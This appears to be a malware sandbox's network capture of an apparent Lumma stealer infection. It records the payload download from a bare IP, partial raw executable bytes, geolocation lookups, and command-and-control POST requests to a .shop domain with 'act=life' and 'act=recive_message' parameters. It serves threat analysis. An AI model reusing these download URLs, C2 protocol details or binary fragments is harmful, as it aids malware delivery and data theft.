Apr 21, 2024 15:31:18.698138952 CEST	222	OUT	GET /lumma1504.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.36 Host: 193.233.132.253 Cache-Control: no-cache
Apr 21, 2024 15:31:18.947947979 CEST	155	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Length: 315904 Date: Sun, 21 Apr 2024 13:31:18 GMT Server: Python/3.10 aiohttp/3.8.6
Apr 21, 2024 15:31:18.948599100 CEST	1289	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL5"0~2 @ @`
Apr 21, 2024 15:31:18.948612928 CEST	1289	IN	Data Raw: 03 3f c0 fe ff ff 2a 01 10 00 00 00 00 08 00 38 40 00 01 14 00 00 01 1e 73 0d 00 00 06 26 2a 1e 02 28 15 00 00 0a 2a 36 02 28 15 00 00 0a 02 28 0e 00 00 06 2a 00 00 1b 30 07 00 71 00 00 00 04 00 00 11 16 0a 7f 01 00 00 04 7e 01 00 00 04 8e 69 28 Data Ascii: ?8@s&(6((0q~i(s~~o~~i@(& ~~((&zoo(%( %
Apr 21, 2024 15:31:18.948717117 CEST	1289	IN	Data Raw: 83 00 66 02 2e 00 0b 00 5a 01 2e 00 13 00 63 01 2e 00 1b 00 82 01 2e 00 23 00 8b 01 2e 00 2b 00 a9 01 2e 00 33 00 a9 01 2e 00 3b 00 a9 01 2e 00 43 00 af 01 2e 00 4b 00 c9 01 2e 00 53 00 a9 01 2e 00 5b 00 a9 01 2e 00 63 00 e1 01 2e 00 6b 00 0b 02 Data Ascii: f.Z.c..#.+.3.;.C.K.S.[.c.k.sfa ALR9@x@28X
Apr 21, 2024 15:31:18.948729992 CEST	1289	IN	Data Raw: 53 74 72 69 6e 67 00 6b 6d 76 6f 53 6e 63 69 00 53 75 70 65 72 42 6f 6f 6b 00 45 78 70 6c 69 63 69 74 45 74 65 72 6e 61 6c 00 6b 65 72 6e 65 6c 33 32 2e 64 6c 6c 00 50 72 6f 67 72 61 6d 00 53 79 73 74 65 6d 00 4d 61 69 6e 00 53 65 63 75 72 69 74 Data Ascii: StringkmvoSnciSuperBookExplicitEternalkernel32.dllProgramSystemMainSecurityActionSystem.ReflectionExceptionQuestionAsjbcbxAUiaoIOasuoihciujoAngelocnxnUIAuwBuwwqqaddruserBuffer.ctor.cctorAScsrhgtrSystem.DiagnosticsSystem.R
Apr 21, 2024 15:31:18.948740005 CEST	1289	IN	Data Raw: 69 6f 6e 2e 70 64 62 00 54 32 00 00 00 00 00 00 00 00 00 00 6e 32 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 32 00 00 00 00 00 00 00 00 00 00 00 00 5f 43 6f 72 45 78 65 4d 61 69 6e 00 6d 73 63 6f 72 65 65 2e Data Ascii: ion.pdbT2n2 `2_CorExeMainmscoree.dll% @OmIDD/Y3BauRF3mH!]YUixqeu "zVonfJAN'9C^s[cRGIB5;?e
Apr 21, 2024 15:31:18.948750973 CEST	1289	IN	Data Raw: 69 76 2b 7f 46 3a 7d 88 75 eb d2 ca 54 4a a3 49 3a 1b e0 d5 65 01 17 c0 59 38 69 b0 f5 ff be 8d 21 51 90 c7 b1 47 09 6a a4 37 cf 58 1a 73 61 c4 6b ec 62 26 e7 f9 ea bd dd f0 99 dd 54 ed 8b cf 0a 36 fd 8c a6 c2 40 30 ad 98 81 c5 67 1c 8c f0 60 2d Data Ascii: iv+F:}uTJI:eY8i!QGj7Xsakb&T6@0g`-SN>)j_vx&qzchs^igyw[w/-4"Gpkbxn_'zs^&Qn-N~"O3JN%:t<jc&,E, jMeA+4f
Apr 21, 2024 15:31:18.948760986 CEST	1289	IN	Data Raw: 3c ed 42 13 de 73 d8 24 8b b9 d9 3b 57 fe ce d5 e5 5d 9c 14 6f 96 29 07 89 24 e8 20 f3 fe ce 5d a5 58 69 ef e4 f9 9c 44 3d 14 ac 6a 75 c0 9e d2 8c a0 b4 d0 6a 19 95 fe ac 94 49 8e 20 d0 ab ef f6 35 70 08 3c da a0 e5 9e 2e c9 05 22 11 10 cb 45 6a Data Ascii: <Bs$;W]o)$ ]XiD=jujI 5p<."EjMOD``&ba}w#4/5z<UQk,~EaOl=,F9e!QmqI# drh3}qsj^<U5&Of0qn/Fx>tQvn+
Apr 21, 2024 15:31:18.948770046 CEST	1289	IN	Data Raw: 49 59 71 fe b0 b0 e9 65 55 15 69 23 bf 8f 3a 49 a3 b5 f6 dc 2a fe 4d ef 79 ed b2 25 89 2c ae f1 f2 55 fc 48 ba 64 97 4e 6c a6 77 aa 58 85 d0 21 3c 08 ed 5b b4 e3 b2 41 d6 ef a5 d1 bd ab 18 b8 b1 38 6d 37 97 f4 8f fb 8a 8a 42 46 31 15 ec 4b 5f 30 Data Ascii: IYqeUi#:I*My%,UHdNlwX!<[A8m7BF1K_0&My&m<>_\_Eh\|P)N1/{e/0>\|#nEOr^}{0Z`}f-7b;H/%ri}8+{Y
Apr 21, 2024 15:31:18.948781013 CEST	1289	IN	Data Raw: 4c 01 e1 21 ab 20 af 99 ab 2f 3a 31 eb 33 8a 3c 70 65 e6 57 44 64 40 8e 94 e0 44 01 87 1d de e4 27 34 6d 7e ea 49 78 9e e8 1e f4 66 dd 63 e6 39 4b fd 52 ed da 2b e7 88 4e d9 3a 54 0c 13 12 c3 a7 2a 7d 9c 88 39 89 e1 ab 2d 5b 45 c4 51 95 48 c1 69 Data Ascii: L! /:13<peWDd@D'4m~Ixfc9KR+N:T*}9-[EQHi & `HrR)<~9X"Il6x?Mg&#UqOnu%%C("sm7'(9pxgs4:Zye(Pzg4v-Ddx?U'S.:oq2uB
Apr 21, 2024 15:31:18.948790073 CEST	1289	IN	Data Raw: 30 e6 ff 10 8b 37 d5 35 d1 93 8a 35 00 e7 63 5b 99 91 b4 b8 d5 2c 41 7e 48 af 4a cf 54 0e 08 3c f0 45 e5 fe ec 46 90 1e 9d 22 e5 b1 fd 81 61 b4 51 98 14 27 e8 fa 51 8d 2f 2a ca d5 75 ca 93 1d 0c f7 99 6b d2 7e 0a 81 aa 07 e5 f0 ff 1f 6a a4 11 81 Data Ascii: 0755c[,A~HJT<EF"aQ'Q/uk~jNg"ylYAk9G4x];%6#HQQHK81p^f2c0A}{VW~L[`CVwb,'Ss]z!qRVcj2SMnr1

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	34.117.186.192	443	6736	C:\Users\user\Desktop\2q45IEa3Ee.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:12 UTC	237	OUT	GET /widget/demo/81.181.57.52 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: ipinfo.io
2024-04-21 13:31:12 UTC	513	IN	HTTP/1.1 200 OK server: nginx/1.24.0 date: Sun, 21 Apr 2024 13:31:12 GMT content-type: application/json; charset=utf-8 Content-Length: 980 access-control-allow-origin: * x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff referrer-policy: strict-origin-when-cross-origin x-envoy-upstream-service-time: 4 via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-21 13:31:12 UTC	742	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 41 74 6c 61 6e 74 61 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 47 65 6f 72 67 69 61 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 33 33 2e 37 34 39 30 2c 2d 38 34 2e 33 38 38 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 32 31 32 32 33 38 20 44 61 74 61 63 61 6d 70 20 4c 69 6d 69 74 65 64 22 2c 0a 20 20 20 20 22 70 6f 73 74 61 6c 22 3a 20 22 33 30 33 30 32 22 2c 0a 20 20 20 20 22 74 69 6d 65 7a 6f 6e 65 22 3a 20 22 41 6d 65 72 69 63 61 2f Data Ascii: { "input": "81.181.57.52", "data": { "ip": "81.181.57.52", "city": "Atlanta", "region": "Georgia", "country": "US", "loc": "33.7490,-84.3880", "org": "AS212238 Datacamp Limited", "postal": "30302", "timezone": "America/
2024-04-21 13:31:12 UTC	238	IN	Data Raw: 61 64 64 72 65 73 73 22 3a 20 22 41 76 65 72 65 73 63 75 20 4d 61 72 65 73 61 6c 20 38 2d 31 30 2c 20 42 75 63 68 61 72 65 73 74 2c 20 52 6f 6d 61 6e 69 61 22 2c 0a 20 20 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 52 4f 22 2c 0a 20 20 20 20 20 20 22 65 6d 61 69 6c 22 3a 20 22 61 62 75 73 65 2d 62 69 6e 62 6f 78 40 72 6e 63 2e 72 6f 22 2c 0a 20 20 20 20 20 20 22 6e 61 6d 65 22 3a 20 22 41 62 75 73 65 20 63 6f 6e 74 61 63 74 20 72 6f 6c 65 20 6f 62 6a 65 63 74 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 31 2e 31 38 31 2e 34 38 2e 30 2f 32 30 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 34 30 20 33 37 38 20 36 30 30 20 30 30 30 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: address": "Averescu Maresal 8-10, Bucharest, Romania", "country": "RO", "email": "abuse-binbox@rnc.ro", "name": "Abuse contact role object", "network": "81.181.48.0/20", "phone": "+40 378 600 000" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	104.26.5.15	443	6736	C:\Users\user\Desktop\2q45IEa3Ee.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:12 UTC	261	OUT	GET /demo/home.php?s=81.181.57.52 HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Host: db-ip.com
2024-04-21 13:31:13 UTC	656	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:13 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close x-iplb-request-id: AC4546BA:D98C_93878F2E:0050_66251521_92C0CEE:4F34 x-iplb-instance: 59215 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wDJpV0sjkY%2F1TjVMocAMLJ%2F8Ut9sq3KJUiX0%2BRDGPZsMaZy0ZSRgGVrrKcQ2GPwuwNK2lwKBsV2IMw8vIDvPqAC3zOnxlpqY8%2Bwtcit7ufUZjAvuNEl96Igkiw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbbaf08cf44dd-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:13 UTC	699	IN	Data Raw: 32 62 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 6f 6b 22 2c 22 64 65 6d 6f 49 6e 66 6f 22 3a 7b 22 69 70 41 64 64 72 65 73 73 22 3a 22 38 31 2e 31 38 31 2e 35 37 2e 35 32 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 43 6f 64 65 22 3a 22 4e 41 22 2c 22 63 6f 6e 74 69 6e 65 6e 74 4e 61 6d 65 22 3a 22 4e 6f 72 74 68 20 41 6d 65 72 69 63 61 22 2c 22 63 6f 75 6e 74 72 79 43 6f 64 65 22 3a 22 55 53 22 2c 22 63 6f 75 6e 74 72 79 4e 61 6d 65 22 3a 22 55 6e 69 74 65 64 20 53 74 61 74 65 73 22 2c 22 69 73 45 75 4d 65 6d 62 65 72 22 3a 66 61 6c 73 65 2c 22 63 75 72 72 65 6e 63 79 43 6f 64 65 22 3a 22 55 53 44 22 2c 22 63 75 72 72 65 6e 63 79 4e 61 6d 65 22 3a 22 44 6f 6c 6c 61 72 22 2c 22 70 68 6f 6e 65 50 72 65 66 69 78 22 3a 22 31 22 2c 22 6c 61 6e 67 75 61 67 65 73 22 3a Data Ascii: 2b4{"status":"ok","demoInfo":{"ipAddress":"81.181.57.52","continentCode":"NA","continentName":"North America","countryCode":"US","countryName":"United States","isEuMember":false,"currencyCode":"USD","currencyName":"Dollar","phonePrefix":"1","languages":
2024-04-21 13:31:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49742	172.67.189.66	443	1740	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:20 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:21 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-04-21 13:31:21 UTC	822	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6j0i928ois2qt1ksnh8v0jnsft; expires=Thu, 15-Aug-2024 07:18:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hqNzA1f1J3l1%2FIph%2B6iFHGlH2L3KrtZV%2B9lF%2FK7fyQ0EqYJUo9HRYNpb%2FDhacB6bcHTy%2BANhvq3ZVGKQKTq4JHsS%2FwWlOcJNX6YMCaNcAk3eHZA8s1tfqIxZayr8JfW7shT5%2F3dsgdD9PQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbbe12e6053d8-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:21 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-04-21 13:31:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49743	172.67.189.66	443	5856	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:21 UTC	270	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:21 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-04-21 13:31:22 UTC	818	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fahfug7sf4pd76eu7h0sgcbvsd; expires=Thu, 15-Aug-2024 07:18:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kxDe2B1skry%2BQYr%2F4aIAZpaqexJ39OIf2P5BMqtT%2B7DJdr9uc3rZ9ZIk6tKpfgj656Bl8bmnhxPlisQt%2FIgMWQJwc9TyHIOrgacZhoKeljkl%2BqP0jbFtd5vm%2BmJPdxXgHuCjJ4J3vQDSkA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbbe4f98d7bb1-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:22 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-04-21 13:31:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49745	172.67.189.66	443	1740	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-21 13:31:21 UTC	271	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 49 Host: bordersoarmanusjuw.shop
2024-04-21 13:31:21 UTC	49	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 48 38 4e 67 43 6c 2d 2d 26 6a 3d 64 65 66 61 75 6c 74 Data Ascii: act=recive_message&ver=4.0&lid=H8NgCl--&j=default
2024-04-21 13:31:22 UTC	812	IN	HTTP/1.1 200 OK Date: Sun, 21 Apr 2024 13:31:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uhr0ep1j0rrojkcrmphlhtnmnm; expires=Thu, 15-Aug-2024 07:18:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=66b0lNnNs4iqCx2cgcmJ%2BygARvF%2Ftk%2FjJaqxgyR9W9FwZEsmTTDy8RB6O7bMe3iOwr7XLsH1ID91unV1YMuCt7zjIGKFHKT2eatUWyVdoTRS1nBJM6En3dUK8o1KagAmyfqRBlE1ycDgTQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 877dbbe5fede44d5-ATL alt-svc: h3=":443"; ma=86400
2024-04-21 13:31:22 UTC	557	IN	Data Raw: 31 66 64 34 0d 0a 45 35 54 7a 39 51 4f 44 75 6f 41 49 69 4d 62 39 6b 50 72 74 7a 4f 34 51 41 47 33 6b 72 53 62 67 57 32 4d 70 69 54 47 47 78 49 70 6f 6e 76 72 58 64 61 47 41 6f 44 79 6b 7a 50 53 79 69 59 6a 75 31 44 42 30 48 35 48 49 43 75 70 53 51 55 6a 74 45 37 7a 6b 37 48 4c 34 67 4a 41 76 69 62 4f 69 5a 66 44 6b 78 37 43 68 35 38 57 56 47 67 6c 6b 78 73 68 49 77 6d 46 44 43 2f 35 55 35 4b 48 79 5a 2f 47 64 68 6d 72 73 31 4d 42 6c 37 62 4b 63 2f 5a 75 65 70 38 42 35 62 30 2f 49 70 79 2f 70 65 51 5a 54 71 77 75 6d 35 73 64 32 34 4a 4b 34 59 76 44 52 6f 69 53 43 7a 2f 53 79 6e 35 6e 75 31 44 41 69 4d 63 62 64 52 35 49 36 44 6c 72 56 45 37 79 2f 31 6a 48 39 68 35 42 78 34 73 37 70 5a 2b 61 31 6f 62 4c 41 32 2f 7a 65 49 44 42 64 6d 59 38 73 36 53 5a 70 49 Data Ascii: 1fd4E5Tz9QODuoAIiMb9kPrtzO4QAG3krSbgW2MpiTGGxIponvrXdaGAoDykzPSyiYju1DB0H5HICupSQUjtE7zk7HL4gJAvibOiZfDkx7Ch58WVGglkxshIwmFDC/5U5KHyZ/Gdhmrs1MBl7bKc/Zuep8B5b0/Ipy/peQZTqwum5sd24JK4YvDRoiSCz/Syn5nu1DAiMcbdR5I6DlrVE7y/1jH9h5Bx4s7pZ+a1obLA2/zeIDBdmY8s6SZpI
2024-04-21 13:31:22 UTC	1369	IN	Data Raw: 50 35 75 39 39 74 73 6e 56 49 65 66 57 34 32 66 71 74 70 66 35 6b 34 71 38 68 33 74 76 41 6f 62 43 54 6f 30 36 41 55 7a 68 57 65 75 73 37 48 7a 37 6c 35 64 68 6f 5a 61 4b 41 59 48 6b 6d 4f 72 59 31 2b 7a 4d 55 57 63 66 67 63 4e 53 77 41 4e 42 49 34 42 4d 71 73 32 71 4d 35 37 36 6a 67 6d 4b 73 36 4a 74 35 75 54 48 73 4e 69 48 71 34 39 78 61 51 43 46 78 30 2b 51 4f 52 4e 4e 35 6c 62 32 6f 4f 31 2f 2f 4a 4b 46 61 2b 2f 65 34 57 50 68 72 5a 72 31 6e 4d 2f 67 35 42 6b 4a 54 34 48 58 42 4e 70 37 51 57 72 6d 57 4f 69 73 2f 33 47 32 2b 66 78 2b 72 37 43 4a 63 34 4c 50 39 4c 4b 66 67 2b 37 55 4d 43 49 4c 68 38 74 46 68 6a 63 50 54 2b 64 56 36 71 76 6e 64 2f 79 52 6b 47 76 70 30 4f 4e 6e 34 61 75 66 39 35 57 4c 71 49 42 7a 5a 30 2f 49 70 79 2f 70 65 51 5a 54 71 77 Data Ascii: P5u99tsnVIefW42fqtpf5k4q8h3tvAobCTo06AUzhWeus7Hz7l5dhoZaKAYHkmOrY1+zMUWcfgcNSwANBI4BMqs2qM576jgmKs6Jt5uTHsNiHq49xaQCFx0+QORNN5lb2oO1//JKFa+/e4WPhrZr1nM/g5BkJT4HXBNp7QWrmWOis/3G2+fx+r7CJc4LP9LKfg+7UMCILh8tFhjcPT+dV6qvnd/yRkGvp0ONn4auf95WLqIBzZ0/Ipy/peQZTqw
2024-04-21 13:31:22 UTC	1369	IN	Data Raw: 66 75 53 62 6d 32 44 7a 33 2b 74 6a 34 4b 57 52 2f 5a 4f 44 71 35 35 35 62 51 65 4a 7a 6b 6d 50 4d 67 56 4c 71 78 32 4d 7a 59 4d 78 38 59 6e 58 4f 61 4f 59 77 32 66 6c 74 70 7a 6a 32 72 71 74 67 6e 78 6c 47 63 61 6e 4c 35 31 33 61 53 44 79 4f 34 2f 4e 71 48 62 36 30 63 38 6a 6f 64 6e 75 5a 75 75 72 6d 66 69 51 6a 4b 2b 65 65 32 30 48 69 63 5a 46 67 54 30 41 51 66 6c 42 35 4b 72 36 66 66 79 58 6d 47 7a 74 6d 4b 77 43 67 63 2f 66 39 59 44 50 39 73 34 79 53 41 79 53 7a 45 37 41 44 41 4a 46 35 56 54 79 35 6f 41 61 36 64 2f 2f 43 76 69 77 69 51 47 71 6f 35 4f 79 77 4d 33 75 67 58 4e 71 43 5a 54 41 53 59 45 33 44 30 54 75 58 4f 79 6d 36 48 7a 7a 6c 5a 78 71 34 74 58 6d 65 4f 43 6b 6c 2f 65 5a 68 61 54 4d 50 41 70 6b 37 59 39 44 6d 6e 6c 5a 43 61 74 69 38 36 32 Data Ascii: fuSbm2Dz3+tj4KWR/ZODq555bQeJzkmPMgVLqx2MzYMx8YnXOaOYw2fltpzj2rqtgnxlGcanL513aSDyO4/NqHb60c8jodnuZuurmfiQjK+ee20HicZFgT0AQflB5Kr6ffyXmGztmKwCgc/f9YDP9s4ySAySzE7ADAJF5VTy5oAa6d//CviwiQGqo5OywM3ugXNqCZTASYE3D0TuXOym6HzzlZxq4tXmeOCkl/eZhaTMPApk7Y9DmnlZCati862
2024-04-21 13:31:22 UTC	1369	IN	Data Raw: 5a 39 6b 37 74 37 6e 5a 2b 32 76 6e 4f 43 4b 6a 4b 71 43 66 69 4a 42 37 71 51 76 77 6a 34 5a 43 37 4d 52 70 49 50 2f 63 75 61 58 6c 43 47 4a 73 2f 30 6b 67 73 2b 47 6d 76 50 6b 37 6f 74 2b 49 6c 66 45 6a 30 53 4d 4e 51 70 4d 34 46 6a 67 6f 75 68 38 2f 5a 2b 5a 61 4f 33 51 37 6d 33 34 71 5a 72 36 6b 6f 61 72 67 48 39 68 48 59 58 4f 42 4d 78 52 61 69 43 72 56 50 7a 6d 73 44 4f 32 74 71 52 57 77 70 69 4b 41 66 58 71 39 35 6d 42 35 38 58 6e 4d 6d 55 44 78 70 63 47 77 6a 67 4a 54 4f 56 58 39 71 6a 36 66 2f 47 52 6b 57 6e 70 33 2b 35 6b 35 4c 61 58 38 35 69 42 6f 59 52 37 5a 67 36 43 79 30 69 46 65 55 38 6a 67 44 69 6b 6f 66 41 78 72 74 50 58 53 65 4c 43 2b 43 6a 45 72 35 2f 31 69 4a 6d 31 7a 42 6f 4a 45 4d 69 6e 4c 35 74 52 61 69 43 72 56 4f 6a 6d 73 44 4f 32 Data Ascii: Z9k7t7nZ+2vnOCKjKqCfiJB7qQvwj4ZC7MRpIP/cuaXlCGJs/0kgs+GmvPk7ot+IlfEj0SMNQpM4Fjgouh8/Z+ZaO3Q7m34qZr6koargH9hHYXOBMxRaiCrVPzmsDO2tqRWwpiKAfXq95mB58XnMmUDxpcGwjgJTOVX9qj6f/GRkWnp3+5k5LaX85iBoYR7Zg6Cy0iFeU8jgDikofAxrtPXSeLC+CjEr5/1iJm1zBoJEMinL5tRaiCrVOjmsDO2
2024-04-21 13:31:22 UTC	1369	IN	Data Raw: 33 54 36 57 48 70 72 70 62 78 6c 49 6d 76 67 6e 4a 73 44 38 61 42 4c 4f 6c 53 51 55 7a 7a 45 37 7a 6b 71 46 48 39 68 34 4a 69 38 64 37 6c 5a 71 72 4d 39 4f 33 57 35 38 57 56 47 67 6c 6b 78 73 68 49 77 6d 46 44 43 2b 56 42 34 4b 66 6f 65 66 2b 64 6e 47 6e 7a 33 2b 56 68 35 4b 71 55 39 70 53 47 70 59 56 33 62 67 36 4e 78 6b 47 47 4d 77 64 47 71 78 32 4d 7a 59 4d 78 38 59 6e 58 4f 61 4f 59 7a 6d 6e 6c 72 39 2b 61 38 35 44 67 35 42 6c 37 5a 2b 32 6b 42 49 55 31 51 52 4f 70 45 2b 4f 75 34 48 2f 31 6c 35 78 74 37 64 6e 72 62 4f 2b 73 6d 50 32 66 68 71 6d 4d 64 48 41 49 69 38 5a 45 69 54 41 4c 54 2b 70 59 70 4f 69 41 47 70 33 52 6b 48 6d 68 67 4b 41 71 32 4b 4f 4a 34 70 76 50 78 75 64 74 4c 47 54 75 70 46 33 71 55 6d 6f 4c 37 46 2b 6b 2f 71 6f 78 2b 34 4f 57 5a Data Ascii: 3T6WHprpbxlImvgnJsD8aBLOlSQUzzE7zkqFH9h4Ji8d7lZqrM9O3W58WVGglkxshIwmFDC+VB4Kfoef+dnGnz3+Vh5KqU9pSGpYV3bg6NxkGGMwdGqx2MzYMx8YnXOaOYzmnlr9+a85Dg5Bl7Z+2kBIU1QROpE+Ou4H/1l5xt7dnrbO+smP2fhqmMdHAIi8ZEiTALT+pYpOiAGp3RkHmhgKAq2KOJ4pvPxudtLGTupF3qUmoL7F+k/qox+4OWZ
2024-04-21 13:31:22 UTC	1369	IN	Data Raw: 6f 71 71 57 54 2f 5a 75 41 72 59 39 7a 61 42 32 55 77 30 32 4b 50 41 31 41 35 56 58 32 6f 4f 64 34 39 5a 4b 65 5a 75 6e 55 36 47 6e 74 35 4e 47 61 38 2b 54 75 69 32 6f 69 56 38 53 50 5a 35 55 70 44 41 75 44 4f 50 76 6f 67 42 72 76 2b 66 77 4b 6f 64 2f 75 4b 72 4c 6d 33 2f 71 56 68 36 53 49 64 57 38 49 67 4d 5a 57 69 7a 77 50 53 2b 39 59 36 36 44 73 63 76 61 44 6b 57 58 70 32 2b 39 6e 35 4b 65 62 73 74 62 6e 78 65 63 79 5a 52 66 47 6c 77 62 43 43 77 78 46 38 46 7a 6a 74 2b 49 78 6e 76 71 49 4c 34 6d 7a 2b 77 4b 42 7a 39 2f 31 6c 4d 2f 32 7a 6a 4a 6d 41 5a 54 45 52 59 6b 79 44 30 7a 6b 56 75 36 6d 35 33 58 31 6e 35 78 67 34 74 44 76 5a 2b 53 75 6c 76 75 66 67 36 71 4c 4d 69 78 6e 37 61 51 45 68 53 46 42 45 36 6b 54 7a 34 66 46 58 66 47 4c 31 77 6d 4b 78 36 Data Ascii: 